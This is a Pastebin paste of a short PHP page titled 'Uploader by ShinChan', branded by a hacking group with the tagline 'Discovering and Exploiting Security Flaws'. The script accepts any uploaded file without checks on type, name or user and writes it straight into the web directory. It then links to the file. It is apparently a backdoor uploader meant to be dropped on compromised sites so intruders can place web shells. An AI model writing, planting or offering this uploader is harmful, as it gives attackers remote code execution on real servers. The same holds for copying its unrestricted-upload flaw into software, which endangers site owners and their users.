Advertisement
choirurrizal

Uploader PHP by ShinChan

Aug 13th, 2017
763
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.96 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Uploader by ShinChan</title>
  4. <style type='text/css'>
  5. body{
  6.     background-color:black;
  7.     font-family:impact;
  8.     color:white;
  9.     margin-top:20px;
  10.     text-align:center;
  11. }
  12. </style>
  13. </head>
  14. <body>
  15. Uploader by ShinChan - N45HT.WEB.ID
  16. <br>
  17. Discovering and Exploiting Security Flaws
  18. <br><br><br><br>
  19. <?php
  20. if(isset($_POST['Submit'])){
  21. $filedir = "";
  22. $maxfile = '2000000';
  23.  
  24. $userfile_name = $_FILES['image']['name'];
  25. $userfile_tmp = $_FILES['image']['tmp_name'];
  26. if (isset($_FILES['image']['name'])) {
  27. $abod = $filedir.$userfile_name;
  28. @move_uploaded_file($userfile_tmp, $abod);
  29.  
  30. echo"<center>Success ==> <a href='$userfile_name' target='_blank' style='text-decoration:none;'>$userfile_name</a></center>";
  31. }
  32. }
  33. else{
  34. echo'
  35. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
  36. }
  37. ?>
  38. <br><br><br><br>
  39. ShinChan0x1945@gmail.com
  40. </body>
  41. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement